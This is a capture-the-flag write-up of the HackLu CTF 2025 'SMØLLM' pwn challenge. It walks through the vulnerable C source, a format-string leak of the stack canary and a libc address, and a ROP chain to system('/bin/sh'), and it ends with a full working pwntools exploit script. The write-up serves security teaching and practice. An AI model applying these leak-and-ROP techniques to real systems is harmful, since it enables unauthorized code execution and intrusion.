SMØLLM, HackLu CTF 2025
SMØLLM
Handout
1
Newest product from FLUX. The friendly SMØLLM. Ever in need for some assistance? Just use SMØLLM!
We are given these files:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ tree SMOLLM
SMOLLM
├── docker-compose.yml
├── Dockerfile
├── Dockerfile.build
├── ld-linux-x86-64.so.2
├── libc.so.6
├── smollm
├── smollm.c
├── ynetd
└── ynetd-src
├── cgroups.c
├── LICENSE.txt
├── Makefile
├── pow-solver.cpp
├── sha256.c
└── ynetd.c
2 directories, 14 files
First analysis
ynetd is not part of the challenge, you can find the source here.
Let’s have a look at smollm.c:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <unistd.h>
#define TOKEN_SIZE 8
char tokens[256][TOKEN_SIZE] = { 0 };
int n_tokens = 0;
const char *init_tokens[] = {
"a",
"about",
"all",
"also",
"and",
"as",
"at",
"be",
"because",
"but",
"by",
"can",
"come",
"could",
"computer",
"ctf",
"day",
"do",
"even",
"find",
"first",
"flux",
"for",
"from",
"get",
"give",
"go",
"hacklu",
"have",
"he",
"her",
"here",
"him",
"his",
"how",
"I",
"if",
"in",
"into",
"it",
"its",
"just",
"know",
"like",
"look",
"make",
"man",
"many",
"me",
"more",
"mvm",
"my",
"new",
"no",
"not",
"now",
"of",
"on",
"one",
"only",
"or",
"other",
"our",
"out",
"people",
"plfanzen",
"say",
"see",
"she",
"so",
"some",
"take",
"tell",
"than",
"that",
"the",
"their",
"them",
"then",
"there",
"these",
"they",
"thing",
"think",
"this",
"those",
"time",
"to",
"two",
"up",
"use",
"very",
"want",
"way",
"we",
"well",
"what",
"when",
"which",
"who",
"will",
"with",
"would",
"year",
"you",
"your",
};
void add_token(const char* token, int len) {
if (n_tokens == 256) {
printf("Max number of tokens reached!\n");
return;
}
memcpy(tokens[n_tokens], token, len);
memset(tokens[n_tokens++] + len, ' ', TOKEN_SIZE - len);
}
void run_prompt() {
int n;
static unsigned int combinator = 0;
char in_buf[256], out_buf[256];
bzero(in_buf, sizeof(in_buf));
bzero(out_buf, sizeof(in_buf));
printf("How can I help you?\n>");
n = read(STDIN_FILENO, in_buf, sizeof(in_buf));
if (n <= 0) {
printf("Read error\n");
exit(-1);
}
for (int i = 0; i < n; i++) {
memcpy(&out_buf[i*TOKEN_SIZE], tokens[(in_buf[i] + combinator++) % n_tokens], TOKEN_SIZE);
}
printf(out_buf);
printf("\n");
}
void init() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
for (int i = 0; i < sizeof(init_tokens) / sizeof(*init_tokens); i++) {
add_token(init_tokens[i], strlen(init_tokens[i]));
}
}
int main(int argc, char *argv[]) {
int n;
char buf[9];
init();
printf("Hello, and welcome to smøllm. Your friendly AI assistant.\nYou can add you own custom tokens or run a prompt.\n");
while (1) {
printf("Do you want to\n1) Add a custom token\n2) Run a prompt\n>");
if (read(STDIN_FILENO, buf, sizeof(buf)) <= 0) {
printf("Read error\n");
exit(-1);
}
if (buf[0] == '1') {
memset(buf, 0, sizeof(buf));
printf("token?>");
n = read(STDIN_FILENO, buf, TOKEN_SIZE);
if (n <= 0) {
printf("Read error\n");
exit(-1);
}
add_token(buf, n);
} else if (buf[0] == '2') {
run_prompt();
} else {
printf("Invalid choice\n");
}
}
}
The program is a simple token-based text generator. It maintains a list of tokens and allows the user to add custom tokens or generate output based on token indexes.
We can observe two main issues in the code:
- There is a
Format String Bugin therun_promptfunction when printingout_bufwithprintf(out_buf);. - The
out_bufcan also lead to a buffer overflow since its size is fixed to 256 bytes, but during the loop inrun_prompt, we copyTOKEN_SIZE(8) bytes for each character in the input. If the user inputs more than 32 characters, it will overflowout_buf.
Let’s have a look at the binary protections:
1
2
3
4
5
6
7
8
9
10
$ checksec --file=smollm
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
SHSTK: Enabled
IBT: Enabled
Stripped: No
The binary is well protected with Full RELRO, Stack Canary, NX, and PIE. There are also two protections that I didn’t know before:
- SHSTK (Shadow Stack): A security feature that helps protect against certain types of stack-based attacks by maintaining a separate shadow stack for return addresses. In this challenge, I think it was not activated since I was able to perform ROP attacks.
- IBT (Indirect Branch Tracking): A security feature that helps prevent certain types of control-flow hijacking attacks by ensuring that indirect branches (like function pointers) only target valid locations. This security feature is not relevant for this challenge.
Exploitation
I decided to start by exploiting the format string vulnerability, to see if I could overwrite some stack values or leak some addresses, as the binary is PIE.
Let’s first set up our script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
import sys
import re
context.log_level = 'debug'
p = None
if len(sys.argv) > 1 and sys.argv[1] == "remote":
p = remote("SMOLLM.flu.xxx", 1024)
else:
p = process("./smollm")
PRINTF_CALL = "break *run_prompt+218"
if len(sys.argv) > 1 and sys.argv[1] == "gdb":
gdb.attach(p, gdbscript=f"""
{PRINTF_CALL}
continue
continue
""")
def add_custom_token(token):
p.sendlineafter(b">", b"1")
p.sendlineafter(b"token?>", token)
def run_prompt(prompt):
p.sendlineafter(b">", b"2")
p.sendlineafter(b">", prompt)
def invalid_choice(choice):
p.sendlineafter(b">", choice)
p.recvall()
Let’s see if we are able to access values on the stack using %N$x format specifiers:
1
2
3
4
5
6
7
8
add_custom_token(b"%4$x")
payload = b""
n_tokens = 0x6a
combinator = 0
for i in range(32):
payload += bytes([n_tokens - i])
combinator += 1
run_prompt(payload)
You can see that we have to decrease the token index each time since the combinator variable is incremented for each character in the input, and the token index is calculated as (in_buf[i] + combinator++) % n_tokens.
Unfortunately, we get this error: *** invalid %N$ use detected ***. Therefore, we will not be able to write arbitrary values by using %N$hn format specifiers, but we can still leak addresses by using %p for example.
Let’s try to leak some addresses and see if we can find the Canary and a libc address:
1
2
3
4
5
6
7
8
add_custom_token(b"%p"*4)
payload = b""
n_tokens = 0x6a
combinator = 0
for i in range(32):
payload += bytes([n_tokens - i])
combinator += 1
run_prompt(payload)
Which gives us:
1
b'>0x200x210x200x5a0fdf1433c00x636465666768696a0x5b5c5d5e5f6061620x535455565758595a0x4b4c4d4e4f5051520xa(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)0x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x20202020776f6e6b0xd2af32307a07e3000x7ffcc0ac42bf0x5a0fdf140474(nil)0x32000000000000000x7025702570250a0xd2af32307a07e300(nil)0x7ffcc0ac44180x7ffcc0ac43900x1(nil)0x72fc7cc2a1ca0x7ffcc0ac43400x7ffcc0ac44180x1df13e0400x5a0fdf1403890x7ffcc0ac44180x9cad76c8b2979f020x1(nil)0x5a0fdf142d900x72fc7cf710000x9cad76c8b3b79f020x86ac0e1576b59f020x7ffc00000000(nil)(nil)0x10x7ffcc0a[-] Receiving all data: Failed0ac43f00x72fc7cc2a28b0x7ffcc0ac44280x5a0fdf142d900x7ffcc0ac44280x5a0fdf140389(nil)(nil)0x5a0fdf1400400x7ffcc0ac4410(nil)(nil)(nil)0x5a0fdf1400650x7ffcc0ac44080x380x10x7ffcc0ac4ec4(nil)0x7ffcc0ac4ecd0x7ffcc0ac4ee30x7ffcc0ac4f0c0x7ffcc0ac4f5c0x7ffcc0ac4fb20x7ffcc0ac4fc30x7ffcc0ac4fe40x7ffcc0ac4ff80x7ffcc0ac500fknow \n'
Let’s have a look in gdb to see if this addresses are the ones we are looking for (0x00007ffe64db1530 is the stack pointer here):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
gef➤ x /100gx 0x00007ffe64db1530
0x7ffe64db1530: 0x636465666768696a 0x5b5c5d5e5f606162
0x7ffe64db1540: 0x535455565758595a 0x4b4c4d4e4f505152
0x7ffe64db1550: 0x000000000000000a 0x0000000000000000
0x7ffe64db1560: 0x0000000000000000 0x0000000000000000
0x7ffe64db1570: 0x0000000000000000 0x0000000000000000
0x7ffe64db1580: 0x0000000000000000 0x0000000000000000
0x7ffe64db1590: 0x0000000000000000 0x0000000000000000
0x7ffe64db15a0: 0x0000000000000000 0x0000000000000000
0x7ffe64db15b0: 0x0000000000000000 0x0000000000000000
0x7ffe64db15c0: 0x0000000000000000 0x0000000000000000
0x7ffe64db15d0: 0x0000000000000000 0x0000000000000000
0x7ffe64db15e0: 0x0000000000000000 0x0000000000000000
0x7ffe64db15f0: 0x0000000000000000 0x0000000000000000
0x7ffe64db1600: 0x0000000000000000 0x0000000000000000
0x7ffe64db1610: 0x0000000000000000 0x0000000000000000
0x7ffe64db1620: 0x0000000000000000 0x0000000000000000
0x7ffe64db1630: 0x7025702570257025 0x7025702570257025
0x7ffe64db1640: 0x7025702570257025 0x7025702570257025
0x7ffe64db1650: 0x7025702570257025 0x7025702570257025
0x7ffe64db1660: 0x7025702570257025 0x7025702570257025
0x7ffe64db1670: 0x7025702570257025 0x7025702570257025
0x7ffe64db1680: 0x7025702570257025 0x7025702570257025
0x7ffe64db1690: 0x7025702570257025 0x7025702570257025
0x7ffe64db16a0: 0x7025702570257025 0x7025702570257025
0x7ffe64db16b0: 0x7025702570257025 0x7025702570257025
0x7ffe64db16c0: 0x7025702570257025 0x7025702570257025
0x7ffe64db16d0: 0x7025702570257025 0x7025702570257025
0x7ffe64db16e0: 0x7025702570257025 0x7025702570257025
0x7ffe64db16f0: 0x7025702570257025 0x7025702570257025
0x7ffe64db1700: 0x7025702570257025 0x7025702570257025
0x7ffe64db1710: 0x7025702570257025 0x7025702570257025
0x7ffe64db1720: 0x7025702570257025 0x7025702570257025
0x7ffe64db1730: 0x20202020776f6e6b 0x44dc28cbea5ac200
0x7ffe64db1740: 0x00007ffe64db175f 0x00005cf8e0e3f474
0x7ffe64db1750: 0x0000000000000000 0x3200000000000000
0x7ffe64db1760: 0x007025702570250a 0x44dc28cbea5ac200
0x7ffe64db1770: 0x0000000000000000 0x00007ffe64db18b8
0x7ffe64db1780: 0x00007ffe64db1830 0x0000000000000001
0x7ffe64db1790: 0x0000000000000000 0x0000750689e2a1ca
0x7ffe64db17a0: 0x00007ffe64db17e0 0x00007ffe64db18b8
0x7ffe64db17b0: 0x00000001e0e3d040 0x00005cf8e0e3f389
0x7ffe64db17c0: 0x00007ffe64db18b8 0x2b93dc513129767e
0x7ffe64db17d0: 0x0000000000000001 0x0000000000000000
0x7ffe64db17e0: 0x00005cf8e0e41d90 0x000075068a136000
0x7ffe64db17f0: 0x2b93dc512e09767e 0x3e620622424b767e
0x7ffe64db1800: 0x00007ffe00000000 0x0000000000000000
0x7ffe64db1810: 0x0000000000000000 0x0000000000000001
0x7ffe64db1820: 0x00007ffe64db18b0 0x44dc28cbea5ac200
0x7ffe64db1830: 0x00007ffe64db1890 0x0000750689e2a28b
0x7ffe64db1840: 0x00007ffe64db18c8 0x00005cf8e0e41d90
We can guess that 0x44dc28cbea5ac200 is the Canary value here as it ends with 00, and we can find it several times on the stack. By looking at the address mapping, we can see the addresses that refers to libc:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
gef➤ info proc map
process 610353
Mapped address spaces:
Start Addr End Addr Size Offset Perms objfile
0x5cf8e0e3d000 0x5cf8e0e3f000 0x2000 0x0 r--p /home/ap/Desktop/CTF/hacklu/SMOLLM/wu/SMOLLM/smollm
0x5cf8e0e3f000 0x5cf8e0e40000 0x1000 0x2000 r-xp /home/ap/Desktop/CTF/hacklu/SMOLLM/wu/SMOLLM/smollm
0x5cf8e0e40000 0x5cf8e0e41000 0x1000 0x3000 r--p /home/ap/Desktop/CTF/hacklu/SMOLLM/wu/SMOLLM/smollm
0x5cf8e0e41000 0x5cf8e0e42000 0x1000 0x3000 r--p /home/ap/Desktop/CTF/hacklu/SMOLLM/wu/SMOLLM/smollm
0x5cf8e0e42000 0x5cf8e0e43000 0x1000 0x4000 rw-p /home/ap/Desktop/CTF/hacklu/SMOLLM/wu/SMOLLM/smollm
0x750689e00000 0x750689e28000 0x28000 0x0 r--p /home/ap/Desktop/CTF/hacklu/SMOLLM/wu/SMOLLM/libc.so.6
0x750689e28000 0x750689fb0000 0x188000 0x28000 r-xp /home/ap/Desktop/CTF/hacklu/SMOLLM/wu/SMOLLM/libc.so.6
0x750689fb0000 0x750689fff000 0x4f000 0x1b0000 r--p /home/ap/Desktop/CTF/hacklu/SMOLLM/wu/SMOLLM/libc.so.6
0x750689fff000 0x75068a003000 0x4000 0x1fe000 r--p /home/ap/Desktop/CTF/hacklu/SMOLLM/wu/SMOLLM/libc.so.6
0x75068a003000 0x75068a005000 0x2000 0x202000 rw-p /home/ap/Desktop/CTF/hacklu/SMOLLM/wu/SMOLLM/libc.so.6
0x75068a005000 0x75068a012000 0xd000 0x0 rw-p
0x75068a0f3000 0x75068a0f8000 0x5000 0x0 rw-p
0x75068a0f8000 0x75068a0fa000 0x2000 0x0 r--p [vvar]
0x75068a0fa000 0x75068a0fc000 0x2000 0x0 r--p [vvar_vclock]
0x75068a0fc000 0x75068a0fe000 0x2000 0x0 r-xp [vdso]
0x75068a0fe000 0x75068a0ff000 0x1000 0x0 r--p /home/ap/Desktop/CTF/hacklu/SMOLLM/wu/SMOLLM/ld-linux-x86-64.so.2
0x75068a0ff000 0x75068a12a000 0x2b000 0x1000 r-xp /home/ap/Desktop/CTF/hacklu/SMOLLM/wu/SMOLLM/ld-linux-x86-64.so.2
0x75068a12a000 0x75068a134000 0xa000 0x2c000 r--p /home/ap/Desktop/CTF/hacklu/SMOLLM/wu/SMOLLM/ld-linux-x86-64.so.2
0x75068a134000 0x75068a136000 0x2000 0x36000 r--p /home/ap/Desktop/CTF/hacklu/SMOLLM/wu/SMOLLM/ld-linux-x86-64.so.2
0x75068a136000 0x75068a138000 0x2000 0x38000 rw-p /home/ap/Desktop/CTF/hacklu/SMOLLM/wu/SMOLLM/ld-linux-x86-64.so.2
0x7ffe64d92000 0x7ffe64db4000 0x22000 0x0 rw-p [stack]
0xffffffffff600000 0xffffffffff601000 0x1000 0x0 --xp [vsyscall]
We can see that 0x0000750689e2a1ca is in the libc range and in the stack, so we could use this address to calculate the libc base address, and then get system, bin/sh and a pop rdi gadget addresses.
Let’s now parse this addresses in our script to get automatically these different values:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
def get_canary():
global ADDR_LIBC_START_MAIN_122
p.recvuntil(b">")
data = p.recvuntil(b"know")[:-4]
splitted = data.decode().replace("(nil)", "").split("0x")
vals = [int(x,16) for x in splitted if x]
print("All vals:", [hex(v) for v in vals])
canary = vals[42]
addr_libc = vals[51]
print("Canary hardcoded:", hex(canary))
print("addr_libc hardcoded:", hex(addr_libc))
return canary, addr_libc
def get_addresses(addr_libc):
FILE_LIBC = "./libc.so.6"
elf_libc = ELF(FILE_LIBC, checksec=False)
libc = ELF(FILE_LIBC, checksec=False)
offset_system = libc.symbols['system']
base = addr_libc - 0x2a1ca
print("libc base:", hex(base))
addr_system = base + offset_system
print("addr_system:", hex(addr_system))
addr_pop_rdi = base + 0x000000000010f78b
print("addr_pop_rdi:", hex(addr_pop_rdi))
addr_bin_sh = base + next(libc.search(b"/bin/sh"))
print("addr_bin_sh:", hex(addr_bin_sh))
return addr_system, addr_pop_rdi, addr_bin_sh
add_custom_token(b"%p"*4)
payload = b""
n_tokens = 0x6a
combinator = 0
for i in range(32):
payload += bytes([n_tokens - i])
combinator += 1
run_prompt(payload)
combinator += 1
canary, addr_libc = get_canary()
addr_system, addr_pop_rdi, addr_bin_sh = get_addresses(addr_libc)
We are now able to get everything we need to perform the second step of the attack, the ROP using the buffer overflow.
Unfortunately, we cannot do a classic ROP, as the out_buf contains the values of the tokens, we need to create a token with the adresses we want to put in the ROP chain, and then access this token using indexes at the right time durant the creation of our payload.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
add_custom_token(p64(canary))
add_custom_token(p64(addr_pop_rdi))
add_custom_token(p64(addr_bin_sh))
add_custom_token(p64(addr_system))
n_tokens += 4
payload = b""
canary_place = n_tokens - 3 - combinator
for i in range(33):
payload += bytes([canary_place + 4])
canary_place -= 1
if canary_place == -1:
canary_place += n_tokens
payload += bytes([canary_place]) # canary
payload += bytes([0]) # saved rbp
canary_place -= 1
payload += bytes([canary_place]) # gadget: pop rdi; ret
payload += bytes([canary_place]) # "/bin/sh"
payload += bytes([canary_place]) # system
run_prompt(payload)
p.interactive()
But unfortunately, this does not work directly as the stack is not aligned properly (not a multiple of 16) for system to work. The classic method to fix this is to add a ret gadget before the pop rdi gadget, but here I will just use a pop rdi; pop rbp; ret gadget (which is at 0x2a873 in libc) to pop an additional value from the stack and align it properly. Therefore, I will need to add for example twice /bin/sh token in my payload to take into account the additional pop rbp.
1
2
3
4
5
6
7
8
9
10
payload += bytes([canary_place]) # canary
payload += bytes([0]) # saved rbp
canary_place -= 1
payload += bytes([canary_place]) # gadget: pop rdi; ret
payload += bytes([canary_place]) # "/bin/sh"
canary_place -= 1
payload += bytes([canary_place]) # "/bin/sh"
payload += bytes([canary_place]) # system
run_prompt(payload)
p.interactive()
And with this we can get a shell and the flag:
1
2
3
4
b'cat flag\n'
[DEBUG] Received 0x42 bytes:
b'flag{w3_4re_ou7_0f_7ok3n5,sorry:171cec579a6ccf7ab7eba1b8cd2ee12c}\n'
flag{w3_4re_ou7_0f_7ok3n5,sorry:171cec579a6ccf7ab7eba1b8cd2ee12c}
Conclusion
This challenge was really interesting as it combined a format string vulnerability and a buffer overflow in a well-protected binary. It required a good understanding of both vulnerabilities and how to chain them together to achieve code execution. The added complexity of dealing with token indexes made the exploitation process more challenging. You can find below the full script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
from pwn import *
import sys
import re
context.log_level = 'debug'
p = None
FILE_LIBC = "./libc.so.6"
ADDR_LIBC_START_MAIN_122 = None
trying = 33
if len(sys.argv) > 1 and sys.argv[1] == "number":
trying = int(sys.argv[2])
if len(sys.argv) > 1 and sys.argv[1] == "remote":
p = remote("SMOLLM.flu.xxx", 1024)
else:
#p = remote("localhost", 1024)
p = process("./smollm", env={"LD_PRELOAD": FILE_LIBC})
PRINTF_CALL = "break *run_prompt+218"
RET = "break *run_prompt+274"
COMPARE_CANARY = "break *run_prompt+255"
if len(sys.argv) > 1 and sys.argv[1] == "gdb":
gdb.attach(p, gdbscript=f"""
{RET}
continue
continue
""")
def get_usefull():
global ADDR_LIBC_START_MAIN_122
elf_libc = ELF(FILE_LIBC, checksec=False)
libc = ELF(FILE_LIBC, checksec=False)
offset_system = libc.symbols['system']
base = ADDR_LIBC_START_MAIN_122 - 0x2a1ca
#base = ADDR_LIBC_START_MAIN_122 - libc.symbols['__libc_start_main'] - 122
print("libc base:", hex(base))
addr_system = base + offset_system
print("addr_system:", hex(addr_system))
#addr_pop_rdi = base + 0x000000000010f78b
addr_pop_rdi = base + 0x000000000002a873
print("addr_pop_rdi:", hex(addr_pop_rdi))
addr_bin_sh = base + next(libc.search(b"/bin/sh"))
print("addr_bin_sh:", hex(addr_bin_sh))
return addr_system, addr_pop_rdi, addr_bin_sh
def add_custom_token(token):
p.sendlineafter(b">", b"1")
p.sendlineafter(b"token?>", token)
def run_prompt(prompt):
p.sendlineafter(b">", b"2")
p.sendlineafter(b">", prompt)
def invalid_choice(choice):
p.sendlineafter(b">", choice)
def get_canary():
global ADDR_LIBC_START_MAIN_122
p.recvuntil(b">")
data = p.recvuntil(b"know")[:-4]
splitted = data.decode().replace("(nil)", "").split("0x")
vals = [int(x,16) for x in splitted if x]
print("All vals:", [hex(v) for v in vals])
canary = vals[42]
ADDR_LIBC_START_MAIN_122 = vals[51]
print("Canary hardcoded:", hex(canary))
print("addr_libc hardcoded:", hex(ADDR_LIBC_START_MAIN_122)) # 0x7b194fa2a1ca <__libc_start_call_main+122>: mov edi,eax
#assert cands[0] in cands[1:], f"{cands}"
return canary
add_custom_token(b"%p"*4)
payload = b""
start = 0x6a
n_tokens = 0x6a
combinator = 0
for i in range(32):
payload += bytes([start - i])
combinator += 1
run_prompt(payload)
combinator += 1
canary = get_canary()
addr_system, addr_pop_rdi, addr_bin_sh = get_usefull()
add_custom_token(p64(canary))
add_custom_token(p64(addr_pop_rdi))
add_custom_token(p64(addr_bin_sh))
add_custom_token(p64(addr_system))
n_tokens += 4
payload = b""
print("Combinator:", combinator)
print("n_tokens:", n_tokens)
canary_place = n_tokens - 3 - combinator
for i in range(trying):
payload += bytes([canary_place + 4])
canary_place -= 1
if canary_place == -1:
canary_place += n_tokens
payload += bytes([canary_place]) # canary
payload += bytes([canary_place]) # saved rbp
canary_place -= 1
payload += bytes([canary_place]) # gadget: pop rdi; ret
payload += bytes([canary_place]) # "/bin/sh"
canary_place -= 1
payload += bytes([canary_place]) # "/bin/sh"
payload += bytes([canary_place]) # system
run_prompt(payload)
#0x0000783066a2a1ca
p.interactive()